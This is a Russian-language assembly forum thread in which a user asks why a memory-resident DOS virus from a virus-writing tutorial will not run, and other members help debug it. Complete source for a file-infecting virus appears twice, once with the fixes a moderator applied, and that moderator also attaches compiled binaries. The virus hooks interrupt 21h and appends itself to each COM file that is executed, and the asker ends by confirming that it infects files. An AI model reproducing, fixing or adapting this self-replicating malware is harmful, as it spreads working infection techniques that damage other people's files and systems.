1. Если вы только начинаете программировать на ассемблере и не знаете с чего начать, тогда попробуйте среду разработки ASM Visual IDE
    (c) на правах рекламы
    Скрыть объявление

Резидент из статьи Билли Белцебу.

Тема в разделе "WASM.SOURCES & 2LZ", создана пользователем DmitryStrv, 30 ноя 2020.

  1. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Всем привет. Подскажите пожалуйста, почему не работает пример из статьи "Путеводитель по написанию вирусов: 3. Резидентные вирусы"? Вот ссылка на статью:
    https://wasm.in/blogs/putevoditel-po-napisaniju-virusov-3-rezidentnye-virusy.174/
    Вот исходный код резидента:
    Код (ASM):
    1. ;---[ CUT HERE ]-------------------------------------------------------------
    2. ; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
    3. ; assumed all the stuff is quite clear at this point.
    4. ; Virus generated by Gэ 0.70с
    5. ; Gэ written by Dark Angel of Phalcon/Skism
    6. ; Assemble with: TASM /m3 lame.asm
    7. ; Link with:     TLINK /t lame.obj
    8. checkres1       =       ':)'
    9. checkres2       =       ';)'
    10.         .model  tiny
    11.         .code
    12.         org     0000h
    13. start:
    14.         mov     bp, sp
    15.         int     0003h
    16. next:
    17.         mov     bp, ss:[bp-6]
    18.         sub     bp, offset next         ; Получаем дельта-смещение
    19.         push    ds
    20.         push    es
    21.         mov     ax, checkres1           ; Проверка на установленность
    22.         int     0021h
    23.         cmp     ax, checkres2           ; Уже установлены?
    24.         jz      done_install
    25.         mov     ax, ds
    26.         dec     ax
    27.         mov     ds, ax
    28.         sub     word ptr ds:[0003h], (endheap-start+15)/16+1
    29.         sub     word ptr ds:[0012h], (endheap-start+15)/16+1
    30.         mov     ax, ds:[0012h]
    31.         mov     ds, ax
    32.         inc     ax
    33.         mov     es, ax
    34.         mov     byte ptr ds:[0000h], 'Z'
    35.         mov     word ptr ds:[0001h], 0008h
    36.         mov     word ptr ds:[0003h], (endheap-start+15)/16
    37.         push    cs
    38.         pop     ds
    39.         xor     di, di
    40.         mov     cx, (heaр-start)/2+1    ; Байты, которые нужно переместить
    41.         mov     si, bp                  ; lea  si,[bp+offset start]
    42.         rep     movsw
    43.         xor     ax, ax
    44.         mov     ds, ax
    45.         push    ds
    46.         lds     ax, ds:[21h*4]          ; Получаем старый int-обработчик
    47.         mov     word ptr es:oldint21, ax
    48.         mov     word ptr es:oldint21+2, ds
    49.         pop     ds
    50.         mov     word ptr ds:[21h*4], offset int21 ; Заменяем новым
    51.                                                   ; обработчиком
    52.         mov     ds:[21h*4+2], es        ; в верхнюю память
    53. done_install:
    54.         pop     ds
    55.         pop     es
    56. restore_COM:
    57.         mov     di, 0100h               ; Куда перемещает данные
    58.         push    di                      ; Hа какое смещение будет указывать
    59.                                         ; ret
    60.         lea     si, [+offset old3]    ; Что перемещать
    61.         movsb                           ; Перемещать три байта
    62.         movsw
    63.         ret                             ; Возвращаемся на 100h
    64. old3            db      0cdh,20h,0
    65. int21:
    66.         push    ax
    67.         push    bx
    68.         push    cx
    69.         push    dx
    70.         push    si
    71.         push    di
    72.         push    ds
    73.         push    es
    74.         cmp     ax, 4B00h               ; запускать?
    75.         jz      execute
    76. return:
    77.         jmp     exitint21
    78. execute:
    79.         mov     word ptr cs:filename, dx
    80.         mov     word ptr cs:filename+2, ds
    81.         mov     ax, 4300h               ; Получаем атрибуты для последующего
    82.                                         ; восстановления
    83.         lds     dx, cs:filename
    84.         int     0021h
    85.         jc      return
    86.         push    cx
    87.         push    ds
    88.         push    dx
    89.         mov     ax, 4301h               ; очищаем атрибуты файла
    90.         рush    ax                      ; сохраняем для последующего
    91.                                         ; использования
    92.         xor     cx, cx
    93.         int     0021h
    94.         lds     dx, cs:filename         ; Открываем файл для чтения/записи
    95.         mov     ax, 3D02h
    96.         int     0021h
    97.         xchg    ax, bx
    98.         push    cs
    99.         pop     ds
    100.         push    cs
    101.         pop     es                      ; CS=ES=DS
    102.         mov     ax, 5700h               ; получаем время/дату файла
    103.         int     0021h
    104.         push    cx
    105.         push    dx
    106.         mov     cx, 001Ah               ; Читаем 1Ah байтов из файла
    107.         mov     dx, offset readbuffer
    108.         mov     ah, 003Fh
    109.         int     0021h
    110.         mov     ax, 4202h               ; Перемещаем файловый указатель в
    111.                                         ; конец
    112.         xor     dx, dx
    113.         xor     cx, cx
    114.         int     0021h
    115.         cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
    116.         jz      jmp_close
    117.         mov     cx, word ptr [offset readbuffer+1] ; jmp location
    118.         add     cx, heaр-start+3        ; конвертируем в размер файла
    119.         cmр     ax, cx                  ; равны, если уже файл уже заражен
    120.         jl      skipp
    121. jmp_close:
    122.         jmp     close
    123. skipp:
    124.         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик
    125.         ja      jmp_close               ; Выходим, если так
    126.         mov     di, offset old3         ; Восстанавливаем 3 первых байта
    127.         mov     si, offset readbuffer
    128.         movsb
    129.         movsw
    130.         sub     ax, 0003h
    131.         mov     word ptr [offset readbuffer+1], ax
    132.         mov     dl, 00E9h
    133.         mov     byte ptr [offset readbuffer], dl
    134.         mov     dx, offset start
    135.         mov     cx, heap-start
    136.         mov     ah, 0040h               ; добавляем вирус
    137.         int     0021h
    138.         xor     cx, cx
    139.         xor     dx, dx
    140.         mov     ax, 4200h               ; Перемещаем указатель в начало
    141.         int     0021h
    142.         mov     dx, offset readbuffer   ; Записываем первые три байта
    143.         mov     cx, 0003h
    144.         mov     ah, 0040h
    145.         int     0021h
    146. close:
    147.         mov     ax, 5701h               ; восстанавливаем время/дату файла
    148.         pop     dx
    149.         pop     cx
    150.         int     0021h
    151.         mov     ah, 003Eh               ; закрываем файл
    152.         int     0021h
    153.         рoр     ax                      ; восстанавливаем атрибуты файла
    154.         pop     dx                      ; получаем имя файла и
    155.         pop     ds
    156.         рoр     cx                      ; атрибуты из стека
    157.         int     0021h
    158. exitint21:
    159.         pop     es
    160.         pop     ds
    161.         pop     di
    162.         pop     si
    163.         pop     dx
    164.         pop     cx
    165.         pop     bx
    166.         pop     ax
    167.         db      00EAh                   ; возвращаемся к оригинальному
    168.                                         ; обработчику
    169. oldint21        dd      ?
    170. signature       db      '[PS/Gэ]',0
    171. heap:
    172. filename        dd      ?
    173. readbuffer      db      1ah dup (?)
    174. endheap:
    175.         end     start
    176. ;---[ CUT HERE ]-------------------------------------------------------------
    Во-первых тут неправильно указана точка входа в директиве org, там написано org 0000h, а по идее нужно написать org 0100h и тогда код компилируется. Но тем не менее код не становится резидентным. Я тестировал код под windows xp sp3 x86. Компилировал и линковал tasm'ом с теми же ключами, что указаны в комментарии в начале кода резидента. Запускать пробовал под far'om, просто в cmd и в dosbox'e. Если я просто запущу простой резидент, он остаётся в памяти, потому что там использовалось прерывание int27h. Например первый кусок кода из этой статьи:
    Код (ASM):
    1. ;---[ CUT HERE ]-------------------------------------------------------------
    2. ; This program will check if it's already in memory, and then it'll show us a
    3. ; stupid message. If not, it'll install and show another msg.
    4. ; Эта программа будет проверять, находиться ли она уже в памяти, и показывать
    5. ; глупое сообщение, если это так. В противном случае она будет инсталлировать
    6. ; в память и показывать другое сообщение.
    7.        .model   tiny
    8.        .code
    9.         org     100h
    10. start:
    11.         jmp     fuck
    12. newint21:
    13.         cmp     ax,0ACDCh               ; Пользователь вызывает нашу функцию?
    14.         je      is_check                ; Если да, отвечаем на вызов
    15.         jmр     dword рtr cs:[oldint21] ; Или переходим на исходный int21
    16. is_check:
    17.         mov     ax,0DEADh               ; Мы отвечаем на звонок
    18.         iret                            ; И принуждаем прерывание возвратиться
    19. oldint21  label dword
    20. int21_off dw    0000h
    21. int21_seg dw    0000h
    22. fuck:
    23.         mov     ax,0ACDCh               ; Проверка на резидентность
    24.         int     21h                     ;
    25.         cmp     ax,0DEADh               ; Мы здесь?
    26.         je      stupid_yes              ; Если да, показываем сообщение 2
    27.         mov     ax,3521h                ; Если, инсталлируем программу
    28.         int     21h                     ; Функция, чтобы получить векторы
    29.                                         ; INT 21h
    30.         mov     word ptr cs:[int21_off],bx ; Мы сохраняем смещение в oldint21+0
    31.         mov     word ptr cs:[int21_seg],es ; Мы сохраняем сегмент в oldint21+2
    32.         mov     ax,2521h                ; Функция для помещения нового
    33.                                         ; обработчика int21
    34.         mov     dx,offset newint21      ; где он находится
    35.         int     21h
    36.         mov     ax,0900h                ; Показываем сообщение 1
    37.         mov     dx,offset msg_installed
    38.         int     21h
    39.         mov     dx,offset fuck+1        ; Делаем резидент от смещения 0 до
    40.         int     27h                     ; смещения в dx используя int 27h
    41.                                         ; Это также прервет программу
    42. stupid_yes:
    43.         mov     ax,0900h                ; Показываем сообщение 2
    44.         mov     dx,offset msg_already
    45.         int     21h
    46.         int     20h                     ; Прерываем программу.
    47. msg_installed db "Глупый резидент не установлен. Устанавливаю...$"
    48. msg_already   db "Глупый резидент жив и дает вам под зад!$"
    49. end      start
    50. ;---[ CUT HERE ]-------------------------------------------------------------
    Буду благодарен за любые мысли! :)
     
  2. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    1
    Регистрация:
    11 июн 2004
    Сообщения:
    3.457
    Адрес:
    Russia
    Можете объяснить почему вы это считаете неправильным ?
     
  3. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Могу. Для psp нужно минимум 100h. А вообще же, если чисто практически, вот что линкер выводит при 0000h:
    Безымянный.PNG
     
  4. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    1
    Регистрация:
    11 июн 2004
    Сообщения:
    3.457
    Адрес:
    Russia
    DmitryStrv, щас посмотел. у него и правда это опечатка. Точнее, даже в оригинальной статье там так же. Вообще у него там проблемы в том что, если использовать org 0100h то смещения будут неправильными. Думаю какой-нибудь старый тасм позволял указывать любой org . но не суть .
    обратите внимание на
    Код (Text):
    1.  
    2. mov     word ptr es:oldint21, ax
    3. mov     word ptr es:oldint21+2, ds
    4.  
    тут es:oldint21 смещения будут скомпилированны как +100h .
    И еще в 1 месте будут тоже смещенея:
    Код (Text):
    1.  
    2. mov     word ptr ds:[21h*4], offset int21
    3. mov     ds:[21h*4+2], es
    4.  
    вот тут где оффсет тоже оно добавится.
    Проще всего, чтоб не перелопачивать код - сделать так:
    add di, 100h
    после 39 строчки, у вас в первом коде.
    И еще для теста все же рекомендую убрать пайлоад , как сделал я и поставить тупо заглушку в виде нопа
    Код (Text):
    1.  
    2. int21:
    3.         cmp     ax, 4B00h               ; execute?
    4.         jz      execute
    5. return:
    6.         jmp     exitint21
    7. execute:
    8.         nop
    9.         ;jmp execute
    10. exitint21:
    11.  
    И еще 1 совет. Рекомендую адреса куда будете класть резидент - все же класть для тестов в память повыше (например в скринах ниже я вручную указал 09f48h как базу.


    upload_2020-12-1_3-54-25.png
     
    DmitryStrv нравится это.
  5. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.151
    DmitryStrv,
    у меня ml ver 6.14.8444 и все компилируется и линкуется
    Код (Text):
    1. ml /Cp /AT le.asm > 1.txt
    2. link16 /T le.obj ,,,,,
    текст программы
    Код (ASM):
    1. ; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
    2. ; assumed all the stuff is quite clear at this point.
    3. ; Virus generated by Gэ 0.70с
    4. ; Gэ written by Dark Angel of Phalcon/Skism
    5. ; Assemble with: TASM /m3 lame.asm
    6. ; Link with:     TLINK /t lame.obj
    7. checkres1       =       ':)'
    8. checkres2       =       ';)'
    9.         .model  tiny
    10.         .code
    11.         org     0
    12. start:
    13.         mov     bp,sp
    14.         int 3
    15. next:
    16.         mov     bp,[bp-6]
    17.         sub     bp,offset next         ; Получаем дельта-смещение
    18.         push    ds
    19.         push    es
    20.         mov     ax,checkres1           ; Проверка на установленность
    21.         int     21h
    22.         cmp     ax, checkres2           ; Уже установлены?
    23.         jz      done_install
    24.         mov     ax, ds
    25.         dec     ax
    26.         mov     ds, ax
    27.         sub     word ptr ds:[3], (endheap-start+15)/16+1
    28.         sub     word ptr ds:[12h], (endheap-start+15)/16+1
    29.         mov     ax, ds:[12h]
    30.         mov     ds, ax
    31.         inc     ax
    32.         mov     es, ax
    33.         mov     byte ptr ds:[0], 'Z'
    34.         mov     word ptr ds:[1],8
    35.         mov     word ptr ds:[3], (endheap-start+15)/16
    36.         push    cs
    37.         pop     ds
    38.         xor     di, di
    39.         mov     cx,(heap-start)/2+1    ; Байты, которые нужно переместить
    40.         mov     si, bp                  ; lea  si,[bp+offset start]
    41.         rep     movsw
    42.         xor     ax, ax
    43.         mov     ds, ax
    44.         push    ds
    45.         lds     ax, ds:[21h*4]          ; Получаем старый int-обработчик
    46.         mov     word ptr es:oldint21, ax
    47.         mov     word ptr es:oldint21+2, ds
    48.         pop     ds
    49.         mov     word ptr ds:[21h*4], offset int21 ; Заменяем новым
    50.                                                   ; обработчиком
    51.         mov     ds:[21h*4+2], es        ; в верхнюю память
    52. done_install:
    53.         pop     ds
    54.         pop     es
    55. restore_COM:
    56.         mov     di, 100h               ; Куда перемещает данные
    57.         push    di                      ; Hа какое смещение будет указывать
    58.                                         ; ret
    59.         lea     si,[bp+offset old3]    ; Что перемещать
    60.         movsb                           ; Перемещать три байта
    61.         movsw
    62.         ret                             ; Возвращаемся на 100h
    63. old3    db      0CDh,20h,0
    64. int21:
    65.         push    ax
    66.         push    bx
    67.         push    cx
    68.         push    dx
    69.         push    si
    70.         push    di
    71.         push    ds
    72.         push    es
    73.         cmp     ax,4B00h               ; запускать?
    74.         jz      execute
    75. return:
    76.         jmp     exitint21
    77. execute:
    78.         mov     word ptr cs:filename, dx
    79.         mov     word ptr cs:filename+2, ds
    80.         mov     ax, 4300h               ; Получаем атрибуты для последующего
    81.                                         ; восстановления
    82.         lds     dx, cs:filename
    83.         int     21h
    84.         jc      return
    85.         push    cx
    86.         push    ds
    87.         push    dx
    88.         mov     ax, 4301h               ; очищаем атрибуты файла
    89.         push    ax                      ; сохраняем для последующего
    90.                                         ; использования
    91.         xor     cx, cx
    92.         int     21h
    93.         lds     dx, cs:filename         ; Открываем файл для чтения/записи
    94.         mov     ax, 3D02h
    95.         int     21h
    96.         xchg    ax, bx
    97.         push    cs
    98.         pop     ds
    99.         push    cs
    100.         pop     es                      ; CS=ES=DS
    101.         mov     ax, 5700h               ; получаем время/дату файла
    102.         int     21h
    103.         push    cx
    104.         push    dx
    105.         mov     cx,1Ah               ; Читаем 1Ah байтов из файла
    106.         mov     dx, offset readbuffer
    107.         mov     ah,3Fh
    108.         int     21h
    109.         mov     ax, 4202h               ; Перемещаем файловый указатель в
    110.                                         ; конец
    111.         xor     dx, dx
    112.         xor     cx, cx
    113.         int     21h
    114.         cmp     word ptr readbuffer,'ZM' ; Is it EXE ?
    115.         jz      jmp_close
    116.         mov     cx, word ptr readbuffer[1] ; jmp location
    117.         add     cx, heap-start+3        ; конвертируем в размер файла
    118.         cmp     ax, cx                  ; равны, если уже файл уже заражен
    119.         jl      skipp
    120. jmp_close:
    121.         jmp     close
    122. skipp:
    123.         cmp     ax, 65535-(endheap-start) ; проверяем, не слишком ли велик
    124.         ja      jmp_close               ; Выходим, если так
    125.         mov     di, offset old3         ; Восстанавливаем 3 первых байта
    126.         mov     si, offset readbuffer
    127.         movsb
    128.         movsw
    129.         sub     ax, 3
    130.         mov     word ptr [readbuffer+1], ax
    131.         mov     dl,0E9h
    132.         mov     byte ptr readbuffer,dl
    133.         mov     dx, offset start
    134.         mov     cx, heap-start
    135.         mov     ah,40h               ; добавляем вирус
    136.         int     21h
    137.         xor     cx, cx
    138.         xor     dx, dx
    139.         mov     ax, 4200h               ; Перемещаем указатель в начало
    140.         int     21h
    141.         mov     dx, offset readbuffer   ; Записываем первые три байта
    142.         mov     cx,3
    143.         mov     ah,40h
    144.         int     21h
    145. close:
    146.         mov     ax, 5701h               ; восстанавливаем время/дату файла
    147.         pop     dx
    148.         pop     cx
    149.         int     21h
    150.         mov     ah,3Eh               ; закрываем файл
    151.         int     21h
    152.         pop     ax                      ; восстанавливаем атрибуты файла
    153.         pop     dx                      ; получаем имя файла и
    154.         pop     ds
    155.         pop     cx                      ; атрибуты из стека
    156.         int     21h
    157. exitint21:
    158.         pop     es
    159.         pop     ds
    160.         pop     di
    161.         pop     si
    162.         pop     dx
    163.         pop     cx
    164.         pop     bx
    165.         pop     ax
    166.         db      0EAh                   ; возвращаемся к оригинальному
    167.                                         ; обработчику
    168. oldint21        dd      ?
    169. signature       db      '[PS/Gэ]',0
    170. heap:
    171. filename        dd      ?
    172. readbuffer      db      1Ah dup (?)
    173. endheap:
    174.         end     start
    Во вложении asm- и com-файлы, bat, ml.exe и link16.exe
     

    Вложения:

    • temp.zip
      Размер файла:
      348,9 КБ
      Просмотров:
      87
    DmitryStrv нравится это.
  6. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    1
    Регистрация:
    11 июн 2004
    Сообщения:
    3.457
    Адрес:
    Russia
    Mikl___, там просто как бы автор тасм юзает. а видимо там нужно доп параметры указывать. Но в целом да, поминтся что давно когда это все изучал, проблем не было. и org 0 ставился

    Объясняю свой вопрос первый. Дело в том, что если бы вы изучили исходник внимательно, то поняли бы, почему ему не нужен org 100h
     
    DmitryStrv нравится это.
  7. M0rg0t

    M0rg0t Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 окт 2010
    Сообщения:
    1.281
    TermoSINteZ, я не читал, но подозреваю, что смещение не нужно, ибо это базонезависимый код.
     
    DmitryStrv нравится это.
  8. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    1
    Регистрация:
    11 июн 2004
    Сообщения:
    3.457
    Адрес:
    Russia
    Нет. код не базонезависимый. Точнее полезная нагрузка да. Но те моменты, которые я отметил имеют в себе "косяки" которые всплывают при установке 100h
    Но оно не нужно, не потому, что он базонезависимый, а потому, что он вручную фиксит PSP на строчке 57 , и по этому может валидно выйти из COM программы по RET
     
    DmitryStrv нравится это.
  9. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.151
    TermoSINteZ,
    теоретически никто не мешает сделать Push 0/pop ds и все пересчитать относительно ds, а не от cs
    Но ИМХО, пора завязывать с резидентами под DOS, даже в учебных целях, и переходить к 64-разрядному режиму linux и windows или писать под микроконтроллеры
     
    DmitryStrv нравится это.
  10. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    1
    Регистрация:
    11 июн 2004
    Сообщения:
    3.457
    Адрес:
    Russia
    Mikl___, согласен, это же классика 16 битов ) . Но в целом и я удивлен, что сейчас 2020 году кто-то в принципе вспомнил про резидентов, да еще и под ДОС )
     
    DmitryStrv нравится это.
  11. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Попробовал запустить le.com в Far manager в корне диска D: (там же лежат два файла для заражения .com и .exe), после запуска файл-жертв, вирус файлы не заражает, значит он так и не стал резидентым. Странно. :pardon:
    --- Сообщение объединено, 1 дек 2020 ---
    А я просто перед циклом статей с Билли про вирусы под win32 решил сначала доизучить DOS вирусы, ну чтобы не отвлекаться на некоторые команды, не изучать их. Плюс просто полезно знать, какие техники использовались в DOS вирусах. Это что-то вроде разминки для мозгов. А так, конечно, я буду изучать win32 вирусы. :):my_name_is_grisha:
     
    Последнее редактирование: 1 дек 2020
  12. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.151
    DmitryStrv,
    проблема была в "org 0" ― ее решили. О том, чтобы вирус стал "жизнеспособным" разговора не было. Хотя фраза
    Попробовал запустить le.com в Far manager в корне диска D: (там же лежат два файла для заражения ...
    говорит о том, что резидентную программу для DOS пытаются запустить под Windows (Far Manager — консольный файловый менеджер для операционных систем семейства Windows). Для работы DOS-резидентов нужен компьютер запущенный под "чистым" DOS'ом. Отладчик в руки и пробуй найти причину самостоятельно :read:
     
    TermoSINteZ нравится это.
  13. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Огромное спасибо за подсказку, вирус работает как надо. Просто нужно было запустить заражаемый com файл и вирус перехватил 21-е прерывание. А я по старинке ждал, что вирус автоматом заражает файлы, как вирус времени выполнения в первой статье Билли. Прошу прощения. Так же благодарю всех, кто дал много дельных советов. :) TermoSINteZ, M0rg0t и Mikl___.
     
  14. sl0n

    sl0n Мамонт дзена **

    Публикаций:
    0
    Регистрация:
    26 сен 2003
    Сообщения:
    676
    Я как-то дос резиденты тестил на вин хп, но для этого чтобы норм было запускать и все это видеть нужный досовский нортон командер и вот из него запускать
    но согласен дос уже 50 лет как умер
    --- Сообщение объединено, 13 дек 2020 ---
    А фар он виндовый
    там не выйдет
     
    DmitryStrv нравится это.
  15. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Странно, а у меня работает. Я компилировал masm'om как предложил Mikl___. :)
     
  16. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.457
    Вопрос видимо в том, как обычно на что атаку провести. На файловик и на это сделаем, не важно что там дос. Весь софт сделан криво, с косяками. Первая атака по таймингу(rc), а далее реверс и системные атаки.

    ps: Был бы софт, а уязвимость найдётся.
     
    DmitryStrv нравится это.
  17. DmitryStrv

    DmitryStrv New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2009
    Сообщения:
    23
    Это вы про атаку, в смысле про заражение .com файла имеете в виду? Я как-то просто не привык это называть атакой. Расскажите немного подробней про некую атаку по таймингу пожалуйста. :)